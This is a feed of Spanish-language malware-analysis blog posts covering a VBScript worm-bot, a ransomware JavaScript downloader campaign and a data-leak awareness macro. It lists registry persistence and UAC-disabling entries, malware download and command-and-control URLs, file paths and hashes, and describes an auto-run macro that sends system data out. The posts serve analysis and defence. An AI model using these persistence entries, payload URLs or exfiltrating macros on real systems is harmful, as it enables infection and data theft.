Código tras descifrar el archivo: "Manuel.doc"

¡¡Genial!!, un hermoso código que estudiar, y del cual escribir.

Por ahora, comento lo fundamental para que se tomen las contramedidas oportunas:

0.- MD5 de los archivos: cc2db35f43b4a12700c431811a463439

1.- Sustituye, dentro cada unidad de red que se encuentre en el ordenador exceptuando la unidad C:, los archivos por enlaces. Estos enlaces lanzarán el archivo : Manuel.doc, tras cuya ejecución lanzará el archivo original, este último tendrá atributos de oculto frente al sistema.

Es decir, estamos ante un método de propagación por red

2.- Modificará las siguientes claves de registro para ganar persistencia, y protegerse:
  2.1.- Persistencia

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SysinfY2X.db = C:\WINDOWS\system32\cmd.exe /c start wscript  /e:VBScript.Encode %temp%\SysinfY2X.db

  2.2.- Protección: configura el parámetro que dice que los archivos archivos ocultos no se muestren.

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden = 2

3.-  Almacena en la ubicación que marque la variable del sistema: %Temp% el archivo: SysinfY2X.db.
  3.1.- Comprueba la existencia en la ubicación que marque la variable del sistema: %Temp% del archivo: SysinfYhX.db. Si existe lo elimina

4.- Realiza peticiones hacía Internet.
  4.1.-  realy.mooo.com/bot/lancer/index.php?cmd=ping
  4.2.-  realy.mooo.com/bot/lancer/index.php?cmd=<tamañodelarchivo>SysinfY2X.db
  4.3.-  realy.mooo.com/bot/lancer/index.php?cmd=list


Espero haber ayudado en algo





Nuestro BOT ha crecido!!!

$
0
0
En estos días se ha recibido varios archivos para analizar.

Los datos de los susodichos son:

Nombre:  blood.dat
Md5: BF8A28BD6F426C4AC7A6295A9C120A0D

Nombre: config.dat
Md5: BF8A28BD6F426C4AC7A6295A9C120A0D

Nombre: system.vbs
Md5: FBD2172DD8B2A745188D53ECC151FF0F

El primero que se reviso es el último de los archivos comentados: system.vbs

En él se encontró el siguiente código:

Código encontrado en el archivo: system.vbs

En visto del código visualizado y de que los otros dos ficheros son en definitiva el mismo, se selecciono uno al azar para descrifrarlo, tal y como se hizo en la entrada anterior a esta: http://4null0.blogspot.com.es/2016/09/botnet-de-verano-para-mi.html

Archivo: blood.dat, antes de descifrarlo

Archivo: blood.dat, después de descifrarlo

Se revisó el código, encontrando tantas similitudes con el analizado en la serie de entradas:


, que se puede decir que estamos ante una nueva versión del bot (de 34.12 se ha pasado a la 39.13).

Versión de código del bot


Por lo que sólo se procederá a comentar los datos de interés, de este

1.- Se crean/modifican las siguientes claves de registro

HKCU\Software\Microsoft\Windows Script Host\Settings\Timeout=0
HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD=0
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr=0
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue=%allusersprofile%\rescue.vbe
HKLM\software\microsoft\windows\currentversion\policies\system\consentpromptbehavioradmin=0
HKLM\software\microsoft\windows\currentversion\policies\system\enablelua=0


2.- Se crean/modifican las siguientes claves de registro para auto-defensa

HKEY_CLASSES_ROOT\Applications\Notepad2.exe\shell\open\command=%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\open\command=%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\Batfile\Shell\Edit\Command=%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\VBEFile\Shell\Edit\Command\=%SystemRoot%\System32\Notepad.exe

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden=2
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools=0
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden=0

3.- Se crean las siguientes carpetas y archivos

%systemdrive%\security\blood.dat
%systemdrive%\security\svchost.exe
%systemdrive%\security\zoneh.dat
%systemdrive%\security\zoneh.exe
%systemdrive%\security\bump.jpg
%systemdrive%\security\bump.vbe
%systemdrive%\security\av.jpg
%systemdrive%\security\av.bat
%systemdrive%\security\system.jpg
%systemdrive%\security\system.exe
%systemdrive%\security\explorer.jpg
%systemdrive%\security\explorer.exe
%systemdrive%\security\update.jpg
%systemdrive%\security\update.exe
%systemdrive%\kernel\update.jpg
%systemdrive%\kernel\update.exe
%systemdrive%\kernel\explorer.jpg
%systemdrive%\kernel\explorer.exe
%systemdrive%\kernel\system.jpg
%systemdrive%\kernel\system.exe
%systemdrive%\kernel\av.jpg
%systemdrive%\kernel\av.bat
%systemdrive%\kernel\bump.jpg
%systemdrive%\kernel\bump.vbe
%systemdrive%\kernel\zoneh.dat
%systemdrive%\kernel\zoneh.exe
%systemdrive%\kernel\blood.dat
%systemdrive%\kernel\svchost.exe
%systemdrive%\kernel\r00t3r
%systemroot%\system32\system\msg\config.txt
%temp%\uac.bat
%temp%\ADMIN.vbe
%temp%\CPBA.bat
%temp%\tp.vbe
%temp%\tmp.bat
%temp%\booter.dat
%temp%\reskp.exe

4.- Peticiones hacía Internet (URLs)

http://sauvegarde.1x.biz/booter.dat
http://registered.co.nf/sat39/index.php
http://zoneh.me.pn/zoneh.dat
http://users2.Jabry.com/mysiteweb2/bump.jpg
http://newsonline.125mb.com/av.jpg
http://mysiteweb.eu5.org/system.jpg
http://mysiteweb.freezoy.com/explorer.jpg
http://babybot.125mb.com/update.jpg

5.- Método de propagación

El método de propagación se realiza a través de las unidades compartidas/pendrives que tenga enlazadas el host.

A esas unidades compartidas/drives se copian los archivos ".dat" de las carpetas:

1.- %systemdrive%\security
2.- %systemdrive%\kernel

Se renombran y se establecen los atributos del sistema y ocultos, y por último, se crean enlaces por cada archivo encontrado y se ocultan los archivos originales.

RESPUESTA DEL ENTORNO AV

Según VirusTotal y sus motores, SÓLO 11 de 56 motores, califican a el archivo con md5: BF8A28BD6F426C4AC7A6295A9C120A0D, como malicioso.

Si se tiene constancia de dicho archivo en VirusTotal desde hace más de un año.

Más información:

https://virustotal.com/es/file/b41a2670d3beb228e811c6925e2ecae91c1c96610bbb86c3926eeb9d452b3aa4/analysis/






URGENTE!!!!. Ransomware!!!!.

$
0
0
De manera urgente se informa de una nueva propagación de ransomware a través de los siguientes archivos:

Nombre:             ORDER_985.js  
MD5:                  756DBEC9003F1383854C54FD75D34733
VirusTotal:         11/49

Nombre:             EMAIL_20087.js
MD5:                  70A0E48D3EAAF218CE0F106E22574456
VirusTotal:         22/54

Nombre:             SHOP_30089.js
MD5:                  3384FC28C733626B62F80FAE43AF117E
VirusTotal:         18/53

Nombre:             SHOP_5689.js
MD5:                  76FC21CE41C534B94BEA7E1A7BCE327C
VirusTotal:         24/55

Nombre:             LOVE_6164.js
MD5:                  5C2B21A2FC369DE68910F949C59DAD7D
VirusTotal:         Sin datos

Estos archivos javascript son downloader. Las URLs desde donde descargan son:

www.injusticeil.top/user.php?f=<digito>.dat
www.importantxc.top/user.php?f=<digito>.dat
www.unnaturaldc.top/user.php?f==<digito>.dat

NOTA: El nombre del archivo ".dat" es un dígito, no se descartan otros posibles combinaciones.

Las cuales se encuentran activas, y permiten descargar dos ejecutables distintos:

Nombre:             Roaming.exe
MD5:                  8D54B0EA871C5536B236E658575CF809
VirusTotal:         7/56

Nombre:             Roaming.exe
MD5:                  0AFB7AEF27FCE860AD0E86AEDEBE45A9
VirusTotal:         Sin datos

Estos archivos una vez lanzados reportaran información hacía las siguientes URLs:

91.200.14.124/linuxsucks.php
185.102.136.77/linuxsucks.php
109.234.35.215/linuxsucks.php

Actualmente se encuentran activas todas las URLs.

ACTUALIZACIÓN

En la siguiente URL se informa se aporta más información sobre el mismo ransomware

http://blog.dynamoo.com/2016/10/malware-spam-fake-receipt-leads-to.html

ACTUALIZACIÓN del 25/10/2016

Nuevos archivos han sido detectados:

Nombre:             EURO_16851.js
Hash md5:          49D6D5061DF8AD438EC65CCD3ECF3D62
VirusTotal:         Sin datos

Nombre:             SHOP_7874.js
Hash md5:          79AC56F7DDEC84230865285D8B53FE21
VirusTotal:         3/55

Nombre:             SHOP_30971.js
Hash md5:          B7FAFF528AAE5072260CCE5E2B847052
VirusTotal:         4/54

Nombre:             ALERT_18376.js
Hash md5:          F5BB88DE35A093E333EE26DB1CE0AA70
VirusTotal:         Sin datos

Nombre:             ONLINE_20141.js
Hash md5:          166764A43A748323A6FAF1DDD640F8B4
VirusTotal:         Sin datos

Nombre:             ONLINE_21702.js
Hash md5:          504A6B3C1991E8F3022047DB766C0A8C
VirusTotal:         1/54

Nombre:             MONEY_14896.js
Hash md5:          264F8CA72B0C5322AD9016227809EDE6
VirusTotal:         Sin datos

Nombre:             INFO_2511.js
Hash md5:          9BBD90333BEC5D657E595E2F63A824DD
VirusTotal:         1/55

Nombre:             MONEY_3336.js
Hash md5:          72B990A33B8285746221B1EEE5C7E81B
VirusTotal:         Sin datos

Nombre:             EMAIL_14142.js
Hash md5:          6AE96DD0D97A06375AC39FDE9AF92B79
VirusTotal:         Sin datos

Nombre:             BALLANCE_16862.js
Hash md5:          0C1875601DAD18D7C45AA2AC9A1FC016 
VirusTotal:         2/55

Nombre:             ONLINE_5338.js
Hash md5:          5F236F391A762EB874F6026D23855932
VirusTotal:         Sin datos

Nuevos archivos  downloader. Las URLs desde donde descargan son:

vegetablecs.top/user.php?f=<digito>.dat
sonyserofa.top/user.php?f=<digito>.dat

NOTA: El nombre del archivo ".dat" es un digito, no se descartan otros posibles combinaciones.

Las cuales se encuentran activas, y permiten descargar el siguiente ejecutable:

Nombre:             Roaming.exe
MD5:                 EF3E66188F20CCCBF1FDD9B43B161CB8
VirusTotal:         Sin datos

Los nuevos C2C:

77.123.137.221/linuxsucks.php --- No se encuentra activa

mehksltbkd.info/linuxsucks.php (69.195.129.70) --- Se encuentra activa

Una fina línea entre el bien y el mal.

$
0
0
Hace tiempo me solicitaron un documento ofimático que enviara información a un servicio web, el cual procesaría la información y elaboraría estadísticas sobre el grado de concienciación del entorno sobre el cual se distribuyera el archivo.

El concepto que se utilizo: Data Leak, y  el código de prueba que desarrollé coge parte del código de lo que hacen la totalidad de los downloader, pero en sentido inverso. Los downloaders descargan el malware que infectará el host, para lo cual solicitan el recurso mediante una macro que se ejecuta al abrir un documento, nuestro código recoge información del sistema y la envía al servidor mediante una macro que se ejecuta al abrir un documento.

NOTA: La macro ejecutará automáticamente la macro con nombre: AutoOpen, y no otra.

El siguiente código no es el código integro, sino la base utilizada para la comunicación con el servidor web. Y que radica en tres puntos:

1.- Objeto basado en "msxml2.XMLHTTP".
2.- Definición de los parámetros de envío.
3.- Establecimiento del canal y envío de datos.


Código base desarrollado


Una PoC...


Código para establecer la comunicación con nuestro servidor de estadísticas


Comunicación recibida en el servidor de estadísticas.


Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

PD: Muchas gracias Ismael González por el comentario.
Viewing all 125 articles
Browse latest View live